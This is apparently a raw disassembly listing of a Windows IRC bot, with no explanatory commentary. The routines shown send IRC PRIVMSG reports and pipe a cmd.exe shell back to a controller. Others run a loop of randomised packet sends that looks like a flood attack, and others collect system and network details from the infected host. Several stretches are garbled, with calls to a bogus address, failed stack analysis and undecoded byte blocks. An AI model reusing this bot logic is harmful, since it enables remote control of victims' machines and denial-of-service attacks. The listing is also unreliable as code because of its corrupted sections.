-0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_413E30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_41F044 ; GetTickCount push eax call sub_4135FF pop ecx push 11h push 2 push 2 call ds:dword_42F788 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call ds:dword_42F748 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_408930 lea eax, [ebp+var_B0] push eax call ds:dword_42F78C cmp eax, edi jnz short loc_408929 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_4275C0 push eax call sub_4135AD add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40890C push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_4110B0 add esp, 14h loc_40890C: ; CODE XREF: sub_40884B+9Fj lea eax, [ebp+var_334] push eax call sub_409615 push [ebp+var_20] call sub_413375 pop ecx pop ecx push esi call near ptr 0A70000h push eax loc_408929: ; CODE XREF: sub_40884B+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_408933 ; --------------------------------------------------------------------------- loc_408930: ; CODE XREF: sub_40884B+6Ej lea eax, [ebp+arg_0] loc_408933: ; CODE XREF: sub_40884B+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40894E call sub_413609 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_408951 ; --------------------------------------------------------------------------- loc_40894E: ; CODE XREF: sub_40884B+F0j push [ebp+var_24] loc_408951: ; CODE XREF: sub_40884B+101j call ds:dword_42F708 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_408963 mov [ebp+var_24], esi loc_408963: ; CODE XREF: sub_40884B+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_408970 mov [ebp+var_24], eax loc_408970: ; CODE XREF: sub_40884B+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_408984 mov [ebp+var_28], esi loc_408984: ; CODE XREF: sub_40884B+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_4089A5 loc_40898B: ; CODE XREF: sub_40884B+158j call sub_413609 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40898B loc_4089A5: ; CODE XREF: sub_40884B+13Ej ; sub_40884B+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_408A04 push 0Bh pop esi loc_4089B2: ; CODE XREF: sub_40884B+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_413609 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call ds:dword_42F76C push [ebp+var_28] call ds:dword_41F058 ; Sleep dec esi jnz short loc_4089B2 cmp [ebp+var_24], edi jnz short loc_4089A5 call sub_413609 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call ds:dword_42F708 mov [ebp+var_E], ax jmp short loc_4089A5 ; --------------------------------------------------------------------------- loc_408A04: ; CODE XREF: sub_40884B+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_427580 push eax call sub_4135AD add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_408A44 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_4110B0 add esp, 14h loc_408A44: ; CODE XREF: sub_40884B+1D7j lea eax, [ebp+var_334] push eax call sub_409615 push [ebp+var_20] call sub_413375 pop ecx pop ecx push edi call near ptr 0A70000h and byte ptr ds:dword_42FA54[ecx], ah ; CODE XREF: sub_408AC9+7Ep ; seg000:00408CB1p sub_40884B endp ; sp-analysis failed push esi mov esi, ds:dword_41F070 cmp eax, 0FFFFFFFFh jz short loc_408A75 push eax call esi ; dword_41F070 loc_408A75: ; CODE XREF: seg000:00408A70j mov eax, ds:dword_42FA5C cmp eax, 0FFFFFFFFh jz short loc_408A82 push eax call esi ; dword_41F070 loc_408A82: ; CODE XREF: seg000:00408A7Dj mov eax, ds:dword_42FA50 cmp eax, 0FFFFFFFFh jz short loc_408A8F push eax call esi ; dword_41F070 loc_408A8F: ; CODE XREF: seg000:00408A8Aj pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A91 proc near ; CODE XREF: seg000:0040F862p var_17F68A40 = byte ptr -17F68A40h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_413DB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push ds:dword_42FA58 call near ptr 0A70000h adc [ebp+var_17F68A40], al mov eax, ds:33FFFFFFh ror cl, 0C3h push 1 pop eax leave retn sub_408A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AC9 proc near ; CODE XREF: seg000:00408C23p ; seg000:00408C42p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_42E348 push [ebp+arg_4] call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_408B0C push 7D0h call ds:dword_41F058 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4135AD add esp, 10h jmp short loc_408B23 ; --------------------------------------------------------------------------- loc_408B0C: ; CODE XREF: sub_408AC9+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4135AD add esp, 0Ch loc_408B23: ; CODE XREF: sub_408AC9+41j lea eax, [ebp+var_200] push 0 push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_42F758 test eax, eax jg short loc_408B4C call near ptr loc_408A60+1 loc_408B4C: ; CODE XREF: sub_408AC9+7Cj xor eax, eax leave retn sub_408AC9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_42FA60 loc_408B68: ; CODE XREF: seg000:00408BC9j ; seg000:00408C2Bj push esi lea eax, [ebp-20Ch] push edi push eax call sub_413630 add esp, 0Ch lea eax, [ebp-4] push edi push edi push eax lea eax, [ebp-20Ch] push esi push eax push ds:dword_42FA54 call near ptr 0A70000h lock test eax, eax jz loc_408C36 cmp [ebp-4], edi jnz short loc_408BCB lea eax, [ebp-8] push eax push ds:dword_42FA50 call near ptr 0A70000h icebp test eax, eax jz short loc_408BC1 cmp dword ptr [ebp-8], 103h jnz near ptr loc_408C59+1 loc_408BC1: ; CODE XREF: seg000:00408BB2j push 0Ah call ds:dword_41F058 ; Sleep jmp short loc_408B68 ; --------------------------------------------------------------------------- loc_408BCB: ; CODE XREF: seg000:00408B9Ej xor eax, eax cmp [ebp-4], edi jbe short loc_408BE2 loc_408BD2: ; CODE XREF: seg000:00408BE0j cmp byte ptr [ebp+eax-20Ch], 0Ah jz short loc_408C30 inc eax cmp eax, [ebp-4] jb short loc_408BD2 loc_408BE2: ; CODE XREF: seg000:00408BD0j mov [ebp-4], esi loc_408BE5: ; CODE XREF: seg000:00408C34j push esi lea eax, [ebp-20Ch] push edi push eax call sub_413630 add esp, 0Ch lea eax, [ebp-0Ch] push edi push eax push dword ptr [ebp-4] lea eax, [ebp-20Ch] push eax push ds:dword_42FA54 call ds:dword_41F094 ; ReadFile test eax, eax jz short loc_408C82 lea eax, [ebp-20Ch] push eax push ebx push ds:dword_42FA94 call sub_408AC9 add esp, 0Ch jmp loc_408B68 ; --------------------------------------------------------------------------- loc_408C30: ; CODE XREF: seg000:00408BDAj inc eax mov [ebp-4], eax jmp short loc_408BE5 ; --------------------------------------------------------------------------- loc_408C36: ; CODE XREF: seg000:00408B95j push offset dword_42768C push ebx push ds:dword_42FA94 call sub_408AC9 push dword ptr [ebp+8] call sub_413375 add esp, 10h push 1 call near ptr 0A70000h loc_408C59: ; CODE XREF: seg000:00408BBBj sub ebp, eax add bh, dh ; --------------------------------------------------------------------------- db 2 dup(0FFh), 68h dd offset dword_427650 dd 9435FF53h, 0E80042FAh, 0FFFFFE59h, 0E80875FFh, 0A6FDh dd 5710C483h, 66737FE8h db 0, 2 ; --------------------------------------------------------------------------- loc_408C82: ; CODE XREF: seg000:00408C13j push offset dword_42760C push ebx push ds:dword_42FA94 call sub_408AC9 push dword ptr [ebp+8] call sub_413375 add esp, 10h push edi call near ptr 0A70000h ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- loc_408CA5: ; CODE XREF: seg000:00409A78p ; seg000:0041051Ep push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call near ptr loc_408A60+1 xor esi, esi lea eax, [ebp-178h] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_42F7C4 test eax, eax jz near ptr loc_408D9A+5 push 1 lea eax, [ebp-1Ch] pop ebx mov edi, ds:dword_41F0F8 push esi push eax lea eax, [ebp-0Ch] mov dword ptr [ebp-1Ch], 0Ch push eax lea eax, [ebp-10h] push eax mov [ebp-14h], ebx mov [ebp-18h], esi call edi ; dword_41F0F8 test eax, eax jz near ptr loc_408D9A+5 lea eax, [ebp-1Ch] push esi push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax call edi ; dword_41F0F8 test eax, eax jz near ptr loc_408D9A+5 mov edi, ds:dword_41F000 push 3 push esi push esi push offset dword_42FA58 call edi ; dword_41F000 push eax push dword ptr [ebp-8] call edi ; dword_41F000 push eax call near ptr 0A70000h push esi test eax, eax jz short near ptr loc_408D9A+5 push 10h lea eax, [ebp-2Ch] push esi push eax call sub_413630 push 44h lea eax, [ebp-74h] pop edi push edi push esi push eax call sub_413630 mov eax, [ebp-4] add esp, 18h mov [ebp-3Ch], eax mov eax, [ebp-0Ch] mov [ebp-38h], eax mov [ebp-34h], eax lea eax, [ebp-2Ch] mov [ebp-74h], edi push eax lea eax, [ebp-74h] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_42E348 push esi lea eax, [ebp-178h] push ebx push eax mov dword ptr [ebp-48h], 101h mov [ebp-44h], si call near ptr 0A70000h loc_408D9A: ; CODE XREF: seg000:00408CD4j ; seg000:00408D01j ... test byte ptr [ebp-7CF78A40h], 0C8h ; --------------------------------------------------------------------------- db 0FFh, 0E9h, 0AEh dd 0FF000000h, 3D8BFC75h, 41F070h, 458BD7FFh, 0D875FFF0h dd 42FA54A3h, 0F8458B00h, 42FA5CA3h, 0D4458B00h, 42FA50A3h dd 8BD7FF00h, 75390845h, 0FA94A30Ch, 5740042h, 0EB0C75FFh dd 60685301h, 0E80042FAh, 0A7C1h, 6A565959h, 77186807h dd 5EE80042h, 8B0000A2h, 0DC4D8BF8h, 234FF69h, 0C4830000h dd 0A08F890Ch, 8D004348h, 5651D04Dh, 8B506850h, 56560040h dd 0F06C15FFh, 0C63B0041h, 48AC8789h, 27750043h, 0F06815FFh dd 8D500041h, 0FFFC8885h, 76D068FFh, 0E8500042h, 0A769h dd 0FC88858Dh, 0E850FFFFh, 7C5h, 3310C483h, 5B5E5FC0h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_408E5A proc near ; CODE XREF: sub_4055DD+74p ; sub_408F79+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_41F044 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_42FA9C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_413B2A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_408E5A endp ; =============== S U B R O U T I N E ======================================= sub_408EC3 proc near ; CODE XREF: sub_408F79+290p push ebx push esi push edi mov esi, 0F4240h loc_408ECB: ; CODE XREF: sub_408EC3+2Fj ; sub_408EC3+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_41F058 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_415370 mov edi, edx mov ebx, eax test edi, edi ja short loc_408ECB jb short loc_408EFA cmp ebx, esi ja short loc_408ECB loc_408EFA: ; CODE XREF: sub_408EC3+31j push 0 push 64h push edi push ebx call sub_4152F0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_408F6D jb short loc_408F19 cmp esi, 50h jnb short loc_408F1E loc_408F19: ; CODE XREF: sub_408EC3+4Fj push 4Bh xor edx, edx pop eax loc_408F1E: ; CODE XREF: sub_408EC3+54j test ecx, ecx ja short loc_408F6D jb short loc_408F29 cmp esi, 47h jnb short loc_408F2E loc_408F29: ; CODE XREF: sub_408EC3+5Fj push 42h xor edx, edx pop eax loc_408F2E: ; CODE XREF: sub_408EC3+64j test ecx, ecx ja short loc_408F6D jb short loc_408F39 cmp esi, 37h jnb short loc_408F3E loc_408F39: ; CODE XREF: sub_408EC3+6Fj push 32h xor edx, edx pop eax loc_408F3E: ; CODE XREF: sub_408EC3+74j test ecx, ecx ja short loc_408F6D jb short loc_408F49 cmp esi, 26h jnb short loc_408F4E loc_408F49: ; CODE XREF: sub_408EC3+7Fj push 21h xor edx, edx pop eax loc_408F4E: ; CODE XREF: sub_408EC3+84j test ecx, ecx ja short loc_408F6D jb short loc_408F59 cmp esi, 1Eh jnb short loc_408F5E loc_408F59: ; CODE XREF: sub_408EC3+8Fj push 19h xor edx, edx pop eax loc_408F5E: ; CODE XREF: sub_408EC3+94j test ecx, ecx ja short loc_408F6D jb short loc_408F69 cmp esi, 0Ah jnb short loc_408F6D loc_408F69: ; CODE XREF: sub_408EC3+9Fj xor eax, eax xor edx, edx loc_408F6D: ; CODE XREF: sub_408EC3+4Dj ; sub_408EC3+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_408EC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F79 proc near ; CODE XREF: seg000:0041077Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_42E348 mov [ebp+var_CC], 94h call ds:dword_41F0FC ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_409000 cmp [ebp+var_C4], ebx jnz short loc_408FDC cmp [ebp+var_BC], 1 jnz short loc_408FC6 mov [ebp+var_4], offset a95 ; "95" loc_408FC6: ; CODE XREF: sub_408F79+44j cmp [ebp+var_BC], 2 jnz loc_40907B mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40904C ; --------------------------------------------------------------------------- loc_408FDC: ; CODE XREF: sub_408F79+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_408FEE mov [ebp+var_4], offset a98 ; "98" jmp short loc_409043 ; --------------------------------------------------------------------------- loc_408FEE: ; CODE XREF: sub_408F79+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40903C mov [ebp+var_4], offset aMe ; "ME" jmp short loc_409043 ; --------------------------------------------------------------------------- loc_409000: ; CODE XREF: sub_408F79+33j cmp [ebp+var_C8], 5 jnz short loc_40903C cmp [ebp+var_C4], ebx jnz short loc_40901A mov [ebp+var_4], offset a2k ; "2K" jmp short loc_409043 ; --------------------------------------------------------------------------- loc_40901A: ; CODE XREF: sub_408F79+96j cmp [ebp+var_C4], 1 jnz short loc_40902C mov [ebp+var_4], offset aXp ; "XP" jmp short loc_409043 ; --------------------------------------------------------------------------- loc_40902C: ; CODE XREF: sub_408F79+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_409043 loc_40903C: ; CODE XREF: sub_408F79+7Cj ; sub_408F79+8Ej mov [ebp+var_4], offset dword_427868 loc_409043: ; CODE XREF: sub_408F79+73j ; sub_408F79+85j ... cmp [ebp+var_BC], 2 jnz short loc_40907B loc_40904C: ; CODE XREF: sub_408F79+61j cmp [ebp+var_B8], bl jz short loc_40907B lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_427860 push eax call sub_4135AD lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40907B: ; CODE XREF: sub_408F79+54j ; sub_408F79+D1j ... mov ax, ds:word_42785C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, ds:dword_42F5F4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_4090B4 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] ; CODE XREF: sub_408F79+1A4j push ecx call eax ; dword_42F5F4 loc_4090B4: ; CODE XREF: sub_408F79+12Cj push [ebp+arg_4] call sub_408619 pop ecx push eax call ds:dword_42F748 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_42F6C0 cmp eax, ebx jz short loc_4090DD push dword ptr [eax] jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_4090DD: ; CODE XREF: sub_408F79+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_4090E2: ; CODE XREF: sub_408F79+162j lea eax, [ebp+var_3E4] push eax call sub_4135AD pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 0A70000h sahf lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call near ptr 0A70000h jnb short near ptr loc_4090AB+1 test [esi+edi*8+466AFFFFh], esp push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 0A70000h shr dword ptr [edx+20h], 1 lea eax, [ebp+var_38] push ebx push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 0A70000h das push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4153D8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40A7B6 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_408E5A add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_408619 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40A6A6 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40A6A6 pop ecx pop ecx push eax call sub_408EC3 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_413B2A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_408F79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40922D proc near ; CODE XREF: seg000:0040F77Dp ; seg000:004107ACp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_413630 add esp, 0Ch cmp ds:dword_42F7F0, 0 jnz short loc_4092A1 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call ds:dword_42F5D8 test eax, eax jnz short loc_409282 lea eax, [ebp+var_8C] push offset dword_4278DC push eax call sub_4135AD pop ecx pop ecx loc_409282: ; CODE XREF: sub_40922D+40j test [ebp+var_C], 1 jz short loc_40929A push offset dword_4278D4 loc_40928D: ; CODE XREF: sub_40922D+72j lea eax, [ebp+var_8] push eax call sub_4135AD pop ecx pop ecx jmp short loc_4092C0 ; --------------------------------------------------------------------------- loc_40929A: ; CODE XREF: sub_40922D+59j push offset dword_4278D0 jmp short loc_40928D ; --------------------------------------------------------------------------- loc_4092A1: ; CODE XREF: sub_40922D+28j mov esi, offset off_4278CC lea eax, [ebp+var_8] push esi push eax call sub_4135AD lea eax, [ebp+var_8C] push esi push eax call sub_4135AD add esp, 10h loc_4092C0: ; CODE XREF: sub_40922D+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_408619 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_413B2A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40922D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4092F3 proc near ; DATA XREF: seg000:0040F952o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_427A20 call sub_413630 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_413630 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_413630 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_413630 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_413630 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_413DB0 pop ecx push eax lea eax, [ebp+var_358] push eax call ds:dword_42F610 test eax, eax jz loc_40948D cmp [ebp+var_34], ebx jbe short loc_4093CA push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_414DD0 add esp, 0Ch loc_4093CA: ; CODE XREF: sub_4092F3+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_4093E8 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_414DD0 add esp, 0Ch loc_4093E8: ; CODE XREF: sub_4092F3+DEj cmp [ebp+var_20], ebx jbe short loc_409402 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_414DD0 add esp, 0Ch loc_409402: ; CODE XREF: sub_4092F3+F8j cmp [ebp+var_18], ebx jbe short loc_40941C push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_414DD0 add esp, 0Ch loc_40941C: ; CODE XREF: sub_4092F3+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push ds:dword_42F6B8 call ds:dword_42F6DC mov esi, eax cmp esi, ebx jz short loc_4094A5 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call ds:dword_42F6D0 cmp eax, ebx mov [ebp+var_4], eax jz short loc_4094AC push ebx push ebx push ebx push ebx push eax call ds:dword_42F684 test eax, eax jz short loc_409486 push offset dword_4279F0 jmp short loc_4094B1 ; --------------------------------------------------------------------------- loc_409486: ; CODE XREF: sub_4092F3+18Aj push offset unk_4279A0 jmp short loc_4094B1 ; --------------------------------------------------------------------------- loc_40948D: ; CODE XREF: sub_4092F3+B7j lea eax, [ebp+var_55C] push offset dword_427970 push eax call sub_4135AD mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_4094BF ; --------------------------------------------------------------------------- loc_4094A5: ; CODE XREF: sub_4092F3+153j push offset unk_427930 jmp short loc_4094B1 ; --------------------------------------------------------------------------- loc_4094AC: ; CODE XREF: sub_4092F3+17Bj push offset unk_4278EC loc_4094B1: ; CODE XREF: sub_4092F3+191j ; sub_4092F3+198j ... lea eax, [ebp+var_55C] push eax call sub_4135AD pop ecx pop ecx loc_4094BF: ; CODE XREF: sub_4092F3+1B0j cmp [ebp+var_1D4], ebx jnz short loc_4094EA push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_4110B0 add esp, 14h loc_4094EA: ; CODE XREF: sub_4092F3+1D2j lea eax, [ebp+var_55C] push eax call sub_409615 pop ecx push esi call ds:dword_42F73C push [ebp+var_4] call ds:dword_42F73C push [ebp+var_1D8] call sub_413375 pop ecx push ebx call near ptr 0A70000h jmp far ptr 0EC8Bh:555B5E5Fh ; CODE XREF: seg000:0040F6B0p sub_4092F3 endp ; --------------------------------------------------------------------------- push ecx and dword ptr [ebp-4], 0 push esi push edi mov esi, offset dword_433B18 mov edi, 0B8h loc_409531: ; CODE XREF: seg000:00409550j cmp byte ptr [esi], 0 jz short loc_409554 push dword ptr [ebp+8] push esi call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_409554 inc dword ptr [ebp-4] add esi, edi cmp esi, offset dword_434698 jl short loc_409531 jmp short loc_409596 ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: seg000:00409534j ; seg000:00409543j mov esi, [ebp-4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_433B18[esi] push ebx call sub_413630 push 17h push dword ptr [ebp+8] push ebx call sub_414DD0 push 9Fh lea eax, dword_433B30[esi] push dword ptr [ebp+0Ch] push eax call sub_414DD0 add esp, 24h inc ds:dword_4283B8 pop ebx loc_409596: ; CODE XREF: seg000:00409552j mov eax, [ebp-4] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40959D proc near ; CODE XREF: seg000:004108E7p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_427A30 push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 14h xor edi, edi mov esi, offset dword_433B18 loc_4095C7: ; CODE XREF: sub_40959D+72j cmp byte ptr [esi], 0 jz short loc_409602 lea eax, [esi+18h] push eax push esi push edi push offset dword_427A24 lea eax, [ebp+var_200] push 200h push eax call sub_413B2A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 2Ch loc_409602: ; CODE XREF: sub_40959D+2Dj add esi, 0B8h inc edi cmp esi, offset dword_434698 jl short loc_4095C7 pop edi pop esi leave retn sub_40959D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409615 proc near ; CODE XREF: start+97p ; seg000:004013C6p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea 